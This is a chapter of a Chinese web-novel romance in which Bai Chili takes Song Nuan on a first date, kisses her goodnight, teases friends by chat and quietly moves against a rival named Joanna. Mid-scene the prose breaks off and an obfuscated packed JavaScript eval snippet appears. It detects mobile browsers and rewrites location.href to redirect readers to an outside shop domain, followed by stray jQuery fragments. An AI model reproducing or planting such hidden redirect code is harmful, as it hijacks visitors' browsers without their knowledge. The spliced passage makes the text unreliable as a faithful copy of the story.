89. 第八十九章 晚安

作品:《白日暖阳

    白池礼说是说要带宋暖去约会,其实也没什么特别的安排,宋暖先前迷路确实走得偏了些,两人回程的路上又碰上了下班的晚高峰,等他们回到城中市区,已是华灯初上了。


    白池礼看了眼实时导航显示中的前方红到发紫的路况,当机立断,他方向盘一拐,直接驶进了最近的一家商场。


    哦,在他看来,只要能和他家小蠢蛋待在一块儿,已经是很特别了,关键是她这个人,而非是做什么,嗯,他觉得他家小蠢蛋应该以及肯定也是这么想的。


    不得不说,聪明睿智又手握生杀予夺资本的男人,有时候还真是挺直男的。


    宋暖倒是对去哪儿做什么没什么意见,毕竟,正经约会什么的,对她来说,还是大姑娘上轿,头一回。


    以前在和林泽炜的那段模棱两可可以算是又不完全算是的交往中,两人的的确确没有过正式的约会,最多也就是一块儿加班或是一块儿外出的时候,林泽炜会说些似是而非的话,或是与她搂搂抱抱一会儿,至于更多的,以林泽炜那谨小慎微思前想后心思能绕成十八弯的性子,当然是没有的。


    白池礼牵着人下车,快步往电梯的方向走,一边自顾安排,“已经不早了,我们先去吃饭吧。”


    “。。。好。”宋暖端着姿态点了点头,跟着他的脚步,高跟鞋踩得“哒哒哒~”作响,脸却不由得悄悄一红。


    刚刚在车上,她肚子饿得“咕噜咕噜”直叫,也不知道他是不是听到了,才这么着急忙慌的找吃饭的地儿。


    其实认真算起来,这也不能怪她啦,她原本是想着到了乐享城后找个地方吃饭的,谁知道居然会迷路,绕远了不说还将她自己吓了个半死,之后白池礼来接她时,两人又卿卿我我了一番,她就将没吃午饭这件事完全给忘了,等车子平稳行驶在回程的路上,她的肚子终于忍无可忍,小小的表达了一番对她的忽视的不满,发出了抗议声。


    当时车内安静,她被这番动静闹得,脸倏地涨红,尴尬得都能用脚趾抠出一幢大别墅了,到底是心虚,她忍不住偷偷拿眼角余光打量了几眼旁边人,只能见到他神色平静的直视着前方的路况,专心的开着车,脸上并无异样,她就暗自揣摩,他到底有没有听到呢?


    按理说,是她的肚子叫诶,有道是人心隔肚皮嘛,隔着她的肚皮,他应该是,听不到的吧?


    可,若是他听到了。。。


    宋暖只要稍稍想一想这个可能性,她就两眼一摸黑,欲哭无泪,无语凝噎。


    那简直就是个大型社死现场了啊有木有!


    两人才刚刚确定关系才交往几个小时,她就出这等糗事,实在是。。。太丢脸了啦。


    然而,她从白池礼那张难得正经的脸上完全看不出个子丑寅卯来,任何端倪都找寻不到,于是,她也只能绷着一张俏脸,强装镇定的当做无事发生。


    嗯,就是什么事儿都没有嘛。


    白池礼将人带进电梯,按了楼层,默默计算着电梯上升的速度,急着呢。


    不错,他耳朵尖,自然是听到了某人的肚子叫,他没立即拆穿,不过是因着某人那慌里慌张又掩耳盗铃的小模样实在是好笑的紧,他寻到了乐子,正偷着乐呢,才不急着说破。


    嗯,他家小蠢蛋忒有趣。


    不过他自己是乐呵了,也不能真的当作不知道,让他家小蠢蛋饿肚子不是,所以,当然得快快喂饱女朋友啊。


    毕竟,只有先喂饱了女朋友,他才好有其他的图谋嘛。


    餐厅是商场内唯一一家主营创意菜的中餐厅,门口醒目的挂着历年来获得的米其林三星的勋章,这家餐厅宋暖知道,只不过他家价格奇高又难订位,是以她目前为止还没能有幸光顾过,她倒是不知道,白池礼随随便便选了一家,就能有位子。


    “不是有江湖传闻,这家餐厅的位子很难订的吗?你是怎么订到的啊?”宋暖一边跟着白池礼经由服务员的引荐往包厢走,一边小声询问他,她打算取取经,之后金矜和小捷来帝都看她时,她可以请那两个吃货来这里尝鲜。


    白池礼非常不要脸的给她答疑解惑,“哦,可能是我长得帅,刷脸成功了吧。”


    宋暖对他的臭不要脸嗤之以鼻,她“哼”的一声,扭过头,完全不相信。


    白池礼就低低的笑。


    其实他也不算说错,他确实是刷脸进来的,只不过,能认可他刷脸的,是这家连锁餐厅的幕后老板,周嘉聿。


    他刚刚下车时发了一条信息,周嘉聿就给他安排好了一路畅行,不过这些细枝末节,就不必拿来与女朋友说道了,反正结果就是,他是刷脸进来的就对了。


    两人在包厢落坐,服务员很快送来餐单,白池礼一边翻一边口不停的报菜,“金玉满堂,锦鲤跃龙门,凤舞九天,蓬莱仙境,桃花汇,潜龙戏水,碧海生波。。。”


    宋暖听得心惊肉跳,这些菜的价格可不便宜,而且,她歪过身子,凑近他低声道,“我们才两个人,够了啦,不要浪费了。”


    白池礼只捏了捏她的手,示意她稍安勿躁,同时嘴里继续报着菜名。


    每一道,都恰恰好是刚刚宋暖看菜单时,视线停留超过三秒以上的。


    等服务员离开后,宋暖不免抱怨,“你点那么多菜干嘛?显得你很有钱嘛?”


    这人,到底知不知道什么叫节约粮食什么叫光盘行动啊?


    “饿了。”白池礼喝下几口水润喉,简简单单的回。


    宋暖见过多次了,是知道他有三餐不定时的陋习的,闻言,她小嘴叭叭叭的说教,“所以我和你说哦,按时吃饭是很有必要性的,你这样不饿不吃,饿了暴饮暴食的做法非常要不得,很伤身体的懂不懂?别仗着自己现在年轻,觉得无所谓,等你将来过了三十,你就知道什么叫做不良习惯引起的反噬了。”


    她堂哥宋孝成就是这样,年纪轻轻时不将这些当回事,现在胃不好很是吃了不少苦头,于这件事上,宋暖觉得她还是挺有发言权的。


    白池礼不嫌聒噪任由她说,嗯,他喜欢他家小蠢蛋对他事事上心的样儿。


    他给她倒了杯热茶,递给她,才慢悠悠的回,“是你饿了。”


    宋暖顺手接过他奉上的茶水,仰头“咕咚咕咚”的灌下,解了渴舒了心后,冷不丁听到他这么一句,她转头看向他,从喉咙深处发出一声,“嗯?”


    白池礼抬手,帮她擦去嘴角处漏下来的茶水,对上她觑着他的警惕小眼神,他不动声色的勾了勾唇角,将话说得更明白些,“刚刚在路上不是饿得肚子叫了么?”


    “???”


    宋暖两眼懵逼,呆呆的看着他,不知该作何反应。


    他这是。。。听到了?


    白池礼挺恶趣味,就喜欢看她这副傻兮兮呆愣愣的模样,他桃花眼一弯,揉了揉她的脑袋,大尾巴狼般“安慰”,“放心,有男朋友在,以后不会让你饿肚子哒。”


    宋暖还不死心,发出来自灵魂深处的垂死挣扎,“你刚刚,听到了?”


    “嗯啊,听到啦,”白池礼点了点头,还在死亡边缘疯狂蹦达,“你肚子叫得那么大声,我又不是个聋的,怎么会听不到。”


    “!!!”


    。。。我巴不得你是个聋的呢!


    所以,她这精致小姐姐的人设是碎成渣渣了?


    想到此,宋暖不干了,她“嘭”的一声放下茶杯,下颌微杨,唬着张小脸开口,“白池礼,有道是,看破不说破知不知道?我告诉你哦,你这样是会失去我这个女朋友的哦。”


    宋暖本是玩笑的一句,白池礼却当了真,他敛下笑意,伸手扣住她的后脖颈,将人压近,亲了亲她红润的唇,锁住她的目光认真的道,“宋暖暖,我没和你说过吗,通往我这颗心的路,它是一条单行道,而且只对你一人放行,既然你已经住了进来,就别想再出去了,我不会放你出去的,所以,不要轻易说分开,好不好?”


    明明算不上什么情话,宋暖的心底却溢出了丝丝的甜,她躲闪着眼神,并不敢看他,脸颊泛起了可疑的红晕。


    白池礼却较真,非要讨一个明确回应,他扣着她后脖颈的手用上了几分力,还捏了捏她柔软的颈皮,不容她敷衍,又凑近在她饱满的唇上落下一个吻,追问,“好不好?”


    他的动作强势又霸道,不给她半分回避的余地,然而他的话却如斯温柔,细听之下似乎还夹杂着几分卑微的祈求讨好,宋暖抿了抿唇,觉得这人可能是个精分。


    又一个亲吻落下,白池礼睁着一双桃花眼如小孩儿卖乖似的又问,“好不好?”


    宋暖被他闹得,勉勉强强的“嗯”了声。


    白池礼如讨得了糖果的小孩儿般,满意的笑了,他将人抱入怀,亲昵的亲她,在她的唇上落下一个个细碎的吻。


    宋暖就挣扎,“会有人进来的啊。”


    白池礼抱紧了人,趁她张口的间隙,他灵活的窜入她的口中,与她胡搅蛮缠,辗转缠绵间,只囫囵的回,“不会。”


    餐厅出菜的速度还算快,包厢的门被敲响时,宋暖赶紧推开人,坐正身子,在服务员进来时,她还此地无银三百两的理了理衣襟拨了拨头发。


    服务员上完菜,抬头间无意中多看了她几眼,明明没什么特别的含义,可宋暖多心虚啊,自行脑补了几百个小剧场出来,一时间,自己将自己闹了个大红脸,窘迫的不行。


    白池礼的目光落在她微微有些肿的唇上,对自己的杰作表示很满意,眼中隐含笑意。


    宋暖眼角余光瞄到他这大尾巴狼似的笑,就掐他,都是这个人啦,讨厌鬼,害她在外人面前这样丢脸,他倒还有脸笑?


    臭不要脸的小白痴!


    白池礼任由她掐,等她发泄了小脾气后,他握牢她的手,还举到唇边亲了亲。


    手心被他亲得痒痒的,宋暖不适的挣了挣。


    可他握得紧,她挣不脱,于是她只能佯装无事,眼观鼻鼻观心的吃饭。


    哦,对了,她肚子是真饿了。


    白池礼的图谋得了逞,懂得给他家小蠢蛋顺毛,他一只手牵着她,一只手给她布菜。


    这里不愧为米其林三星餐厅,无论是菜品的摆盘还是创意,都属上乘,尤其是味道,浓墨重彩又清新脱俗,很是好吃,宋暖埋头苦吃,不知不觉吃多了。


    等吃得打了个饱嗝,她才在抬头间发现,白池礼一点儿没动筷。


    “你怎么不吃啊?”宋暖不解。


    白池礼不动声色的又套路人,“哦,我手酸,拿不动筷子了。”


    “???”


    “我今天来来回回开了多久的车了,手酸不是挺正常的嘛。”白池礼“合情合理”的解释。


    “。。。”


    神TM拿不动筷子!


    刚才那么用力的抱着她亲的人是谁?


    宋暖不惯着他的作妖,她假模假式的“哦~”了声,站起身预备走人,“那你不吃,我们就走吧,回去了。”


    白池礼拉着她的手晃了晃,仰着脖子看她,毫无心理负担的朝人撒娇,“你喂我啊~”


    想!得!美!宋暖瞪他。


    白池礼还挺委屈,“我刚才也给你布菜啦,你喂喂我怎么了?还能不能愉快做男女朋友了?宋暖暖,我饿了呢,饿了会胃疼的哦,而且,你不是说不能浪费粮食的嘛?你这样浪费,良心真的不会痛嘛?我。。。”


    宋暖被他吵得烦了,拧着眉顺手拿小勺子舀了一勺蟹粉往他嘴里塞。


    哼!还堵不住他这张喋喋不休的嘴了!


    白池礼一愣,继而眉眼一弯,笑了,笑得一脸得瑟。


    他将嘴里的蟹粉吃下肚,然后将勺子递还给她,歪着脑袋看她,得寸进尺的要求,“我还要。”


    “。。。”


    恍恍惚惚感觉到自己被套路了的宋暖,瞪圆了一双大眼睛,眼里明晃晃的控诉着----


    这不是个好人!


    白池礼被她的小表情给逗笑了,他家小蠢蛋真的是,可可爱爱的呢。


    他揽着人的腰,将人抱回来,埋头在她的腰腹间,低低的止不住的闷笑。


    笑声愉悦舒畅,余音绕梁。


    宋暖虽然也不知道他在笑什么,有什么可笑的啦,但,被这样抱着的她,唇角的弧度不知不觉往上杨,并没有推开他。


    ___________________________


    两人吃完饭,直接回了家。


    白池礼点的菜多,两人最后也没能吃完,宋暖全打了包,还心细的给小区里几只她天天喂食的流浪猫打包了些碎鱼肉。


    白池礼看着某人喂猫,不甘心被忽视,他也蹲下身,托着下巴挺好奇的求知若渴的发出疑问,“诶,你说,小猫若是饿了,肚子会‘咕噜咕噜’的叫么?”


    宋暖舀碎鱼肉的动作一顿,然后她挪着脚步背过身子,不搭理他。


    这人到现在还嘲笑她?有完没完啊?简直太坏了!


    他肯定是存心的,这个坏蛋,哼,不想理他了啦。


    白池礼看着她的背影,眉眼舒展,无尽温柔。


    喂完了流浪猫,宋暖起身,自顾往楼道走,依旧不理会身后的人。


    白池礼不紧不慢的跟在她身后,继续骚扰人,“宋暖暖,你说说看啊?到底会不会‘咕噜咕噜’的叫呢?”


    仍然没得到回应,白池礼嘴角噙着一抹笑意,不厌其烦的缠着人,“宋暖暖?”


    “宋小暖?”


    “女朋友?”


    “暖暖?”


    “暖宝?”


    “暖宝宝?”


    。。。


    宋暖被他吵得受不了,她一边踏出电梯,一边头也不回的拧着眉斥责,“你烦不烦啊,别嚷嚷了,我要回去了。”


    白池礼跟着走出电梯,他伸手一拉,阻了她往前的步伐,将人再次抱入怀中,垂眸看向她,他脸上玩笑不羁的神色不见,眸中只余无限的柔情。


    “干,干嘛?”宋暖被他眼中深邃的光芒烫到了,都结巴了。


    白池礼擒住她的下颌,对上她慌乱的视线,深情款款的低声道,“我只是想说,我是真的,很喜欢你。”


    心跳突兀的漏了一拍,紧跟着又急剧跳动起,“砰砰砰”的声音敲在耳畔,宋暖甚至疑心,面前这人也能听到她这心跳声,为他而起的剧烈心跳声。


    她羞红了一张脸,也不知该如何回应他的这份表白,吱吱唔唔间只一声语焉不详的,“。。。哦。”


    白池礼就俯身吻住怀中的人,将她所有羞于启齿的回应都吞咽入肚。


    这个吻不同于下午在郊外初初表明心迹时的吻,也不同于刚刚在餐厅时笑闹间的吻,这个吻似乎更加的炙烈,铺天盖地般席卷而来,宋暖被他吻得节节后退,又被他扣着抵向他


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17460880|196288||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,毫无退路,不容退却,她只能抓着他腰侧的衬衫,给自己寻找一个支撑,然后,任他予取予求。


    他的吻,温柔而缠绵,缱绻而深情,经久不息,仿佛就这样要吻到天荒地老天崩地裂天长地久般。


    电梯间的感应灯依次灭了,伸手不见五指,眼睛看不见时其他的感官就会被无限放大,宋暖耳边充斥着的全是两人此起彼伏的急促喘息声和令人脸红心跳的口水交融声。


    她羞红着脸,小幅度的推了推压着她亲的人。


    白池礼也不勉强,从她口中退出,只是他依旧抱着人,薄唇在她的唇角落下一个又一个亲昵的碎吻,“嗯?”


    “我,我要回去了啦。”宋暖还不习惯与他这般亲密,她耳朵都快要滴血,羞赧又有些不为人知的甜蜜从心底冒出,可她又羞于表现出来,只能强装镇定,实则别扭的推他。


    然而,一开口才惊觉,自己的嗓音沙哑至此,根本就无所遁形嘛。


    她脸上的红晕又悄然添了几分,近乎要沸腾了。


    白池礼也不比她好多少,他抱紧了人,又忍不住亲了亲她染满了潋滟绯红的脸颊,好一会儿才不甘不愿的稍稍松手,再贴近她的耳畔暗哑又温柔的道,“晚安啊,女朋友。”


    好似非要这般强调,才能确认怀里的这人现在确实已经是他女朋友了,而不是他痴人做梦臆想出来的。


    “。。。晚安。”宋暖如兔子似的赶紧跑回了自己的房子,开门关门利利索索,逃离这个让她脸红心跳不止的人。


    关上了门,宋暖一抬眼,从入户落地镜中看到了此时的自己。


    镜中的人眉眼含俏,眼波流转,脸颊红润,双唇红肿还泛着水润光泽,宋暖“啊~”的一声低低惊呼,抱着自己的脸蛋蹲下身,都不敢直面此时的自己了。


    那个一脸春心荡漾的人,真的是她吗?


    那他,有没有瞧见这样的自己啊?


    门外的白池礼倚在楼道的窗边,抬手擦了擦自己的唇角,就着窗外倾洒进来的稀疏月光扫了眼被关上的大门,然后无声的浅笑开,笑得舒心又开怀。


    他是真的真的,很高兴。


    他终于,追到他家小蠢蛋了呢。


    ___________________________________


    宋暖给自己做了好久的心理建设,才算是勉勉强强压下了害羞的小心思。


    她慢吞吞的去洗了个漱,又慢吞吞的给自己吹了个头,然后再慢吞吞的爬上床,准备关灯睡觉时,她才想起来要给妈妈回个信息。


    将手机捞过来,微信图标上有十几个小红点,宋暖目带疑惑,点开查看。


    那些小红点全都来自于白池礼,那个才分开不久的人给她的留言。


    她先给妈妈发了条信息,然后才点开他的对话框来看。


    【分开的第一分钟,很想你】


    【分开的第二分钟,很想你】


    【分开的第三分钟,很想你】


    。。。


    【分开的每一分钟,都很想你】


    【你有在想我吗?】


    【女朋友,晚安啊】


    【祝你好梦,愿你梦里有我】


    宋暖翻着一条条的留言,刚刚才好不容易消下去的红晕又倏然爬上了脸,她点了点某人的头像,嗔怪的自言自语,“你好讨厌呀。”


    说着,她又笑了,笑得甜蜜十足。


    她也好想他啊,刚才洗漱时,脑海中占据着她思维的人除了他还有谁。


    “晚安啊。”宋暖对着头像上的那人轻声的回。


    然后她关了床头灯,揽着被子闭上眼睡觉,掩映在黑夜中的人,唇角还挂着一抹笑。


    隔壁的那套房子里,某人骚扰完了自家亲亲女朋友,很有与人一同分享他这份喜悦的心情,他点开三人聊天对话框,往里面丢下一句话。


    【我有女朋友了【不要太羡慕。JPG】】


    半夜被骚扰到的程向东,“。。。”


    【羡慕什么?女朋友而已,这才哪儿到哪儿啊?骚包个什么劲儿?】


    同样被骚扰到的周嘉聿,“。。。”


    【同上】


    白池礼“嗤”的一声笑,挺锱铢必较的针对两人的发言给予了强有力的抨击。


    【你一个对前妻穷追不舍的人难道不骚包?我至少还有女朋友,你有什么?这会儿想必是孤枕难眠了吧?】


    【同上什么?哦,是小鱼儿快和你离婚了吧?你“同上”一样快步入“离婚男”的队伍了?】


    骚扰完了两人,白池礼还不尽兴,他又点开一个对话框,将同样的一句话发过去。


    此时还在为某人交代的事任劳任怨勤勤恳恳挑灯夜战加班的施明生,“。。。???”


    【擦,你做个人吧!】


    白池礼挺得意的低笑,手指轻点,怼了回去。


    【我有女朋友,当然可以“做个人”啊,你有吗?单身狗还是加班适合你】


    深受打击的施明生,“!!!”


    交友不慎啊交友不慎。


    白池礼一派悠闲的与几人聊着天,屏幕上突然有来电显示,他扫了一眼,眼熟的号码令他脸色倏地一下沉冷了下来,眼中厉光突显,再不复前一秒卸下防备时松弛的闲适样。


    是乔安娜从美国的来电。


    电话响过三遍,自动挂断,白池礼自始至终都没有接听。


    等电话不再响起,他给沈清彦拨了个电话。


    “怎么了?这么晚了什么事?”沈清彦很快接起。


    电话那头有寺庙的晚课声传来,白池礼心知沈清彦这是人还在寺庙里住着,只是,“清彦,抱歉,这么晚了还打扰你。”


    “小白,我说过的,你我之间无需这般见外。”沈清彦的声音平稳,却颓靡。


    白池礼无声的叹了口气,长话短说,“乔安娜的事要抓紧一些,乔家如今都能手眼通天的让她在看守所里还不老实,还能往国内打电话,我刚刚才和宋暖在一起,清彦,现在这个时候绝不能让她有机会回国。”


    “小白,真的要,如此孤注一掷了吗?”


    白池礼不作任何犹豫,坚定的不容商榷的回,“我只要宋暖一人,为了她我在所不惜。”


    电话那头的人长久无声,直到晚课声结束,他才道,“好,我知道了。”


    他也曾有那么一个人,是他在所不惜也不愿放手的,只是,如今一切皆成了惘然,若是小白能有幸拥有,他作为至交好友,当然愿意让他如愿。


    电话挂断后,白池礼坐在沙发上,将美国的那些事在脑海中一一复盘了遍,又给在当地的人发了几个指令。


    夜色沉沉,屋内没有开灯,掩映在黑暗中的人,周身疏离冷漠,连眼眸中都是一片冰冷的凉意。


    不知想到什么,他按开手机,翻到某人的对话框,页面还停留在几个小时前他发的留言上,没有回复。


    也许是睡了吧。


    他点开某人的头像,看着那张明媚的笑脸,眼内终于渐渐泛起了波澜,沁出了些许暖色。


    他好不容易追到的人,他这么多年来唯一喜欢上的人,他绝不允许任何人来破坏。


    乔安娜不可以,乔家人不可以,白家人也不可以,任何人都不可以。


    他白池礼要的人,谁都没资格阻拦他,谁都不行。